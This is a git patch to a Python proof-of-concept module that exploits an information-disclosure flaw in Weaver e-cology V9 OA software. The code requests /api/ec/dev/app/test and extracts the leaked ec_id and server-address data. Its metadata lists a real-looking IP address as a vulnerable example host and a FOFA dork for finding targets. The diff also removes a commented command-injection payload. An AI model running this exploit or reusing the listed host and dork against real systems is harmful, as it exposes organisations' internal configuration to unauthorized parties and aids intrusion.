From eabaa0e139cac109b2ce4488fecb04cbe5c075f0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=8E=B1=E6=98=82=E7=BA=B3=E5=A4=9A=E9=98=81=E4=B8=8B?= <36789699+bigblackhat@users.noreply.github.com> Date: Fri, 21 Jan 2022 17:54:14 +0800 Subject: [PATCH] Update poc.py --- .../Config_Info_Disclosure_E-cology_V9/poc.py | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/poc/Weaver_泛微OA/Config_Info_Disclosure_E-cology_V9/poc.py b/poc/Weaver_泛微OA/Config_Info_Disclosure_E-cology_V9/poc.py index d36ff03..8c5e18e 100644 --- a/poc/Weaver_泛微OA/Config_Info_Disclosure_E-cology_V9/poc.py +++ b/poc/Weaver_泛微OA/Config_Info_Disclosure_E-cology_V9/poc.py @@ -5,31 +5,31 @@ from lib.core.poc import POCBase # ... import urllib3 +import re urllib3.disable_warnings() class POC(POCBase): _info = { - "author" : "hansi", # POC作者 + "author" : "jijue", # POC作者 "version" : "1", # POC版本,默认是1 "CreateDate" : "2022-1-10", # POC创建时间 "UpdateDate" : "2022-1-10", # POC创建时间 "PocDesc" : """ - 这个API接口漏洞只针对e-cology v9.0版本才有用,JS文件中有一个API接口:/api/ec/dev/app/test - + 这个API接口漏洞只针对e-cology v9.0版本才有用,JS文件中有一个API接口:/api/ec/dev/app/test """, # POC描述,写更新描述,没有就不写 - "name" : "泛微-e-cologyV9信息泄露", # 漏洞名称 + "name" : "泛微 E-cology V9信息泄露", # 漏洞名称 "VulnID" : "", # 漏洞编号,以CVE为主,若无CVE,使用CNVD,若无CNVD,留空即可 "AppName" : "泛微-e-cology", # 漏洞应用名称 "AppVersion" : "无", # 漏洞应用版本 "VulnDate" : "2021-03-10", # 漏洞公开的时间,不知道就写今天,格式:xxxx-xx-xx "VulnDesc" : """ - 可以获取到响应的ec_id值和对应的IP泛微移动管理平台的地址 + 可以获取到响应的ec_id值和对应的IP泛微移动管理平台的地址 """, # 漏洞简要描述 "fofa-dork":"", """ - app="泛微-EOffice" + app="泛微-EOffice" """ # fofa搜索语句 "example" : "http://106.75.133.16:9000/api/ec/dev/app/test", # 存在漏洞的演示url,写一个就可以了 "exp_img" : "", # 先不管 @@ -48,11 +48,9 @@ class POC(POCBase): """ vuln = [False,""] url = self.target + "/api/ec/dev/app/test" # url自己按需调整 - # date="command1=shell:ifconfig| dd of=/tmp/a.txt" headers = {"User-Agent":get_random_ua(), "Connection":"close", - # "Content-Type": "application/x-www-form-urlencoded", } try: @@ -60,8 +58,13 @@ class POC(POCBase): 检测逻辑,漏洞存在则修改vuln值,漏洞不存在则不动 """ req = requests.get(url,headers = headers , proxies = self.proxy , timeout = self.timeout,verify = False) - if req.status_code == 200 and "ec_id" and "ec_url" in req.text: - vuln = [True,req.text] + + reg = """\{"msg":"[a-z]+",.+status":[a-z]+\}""" + result = re.match(reg,req.text.strip()) + if req.status_code == 200 and result: + + vuln = [True,result.group(0)] + else: vuln = [False,req.text] except Exception as e: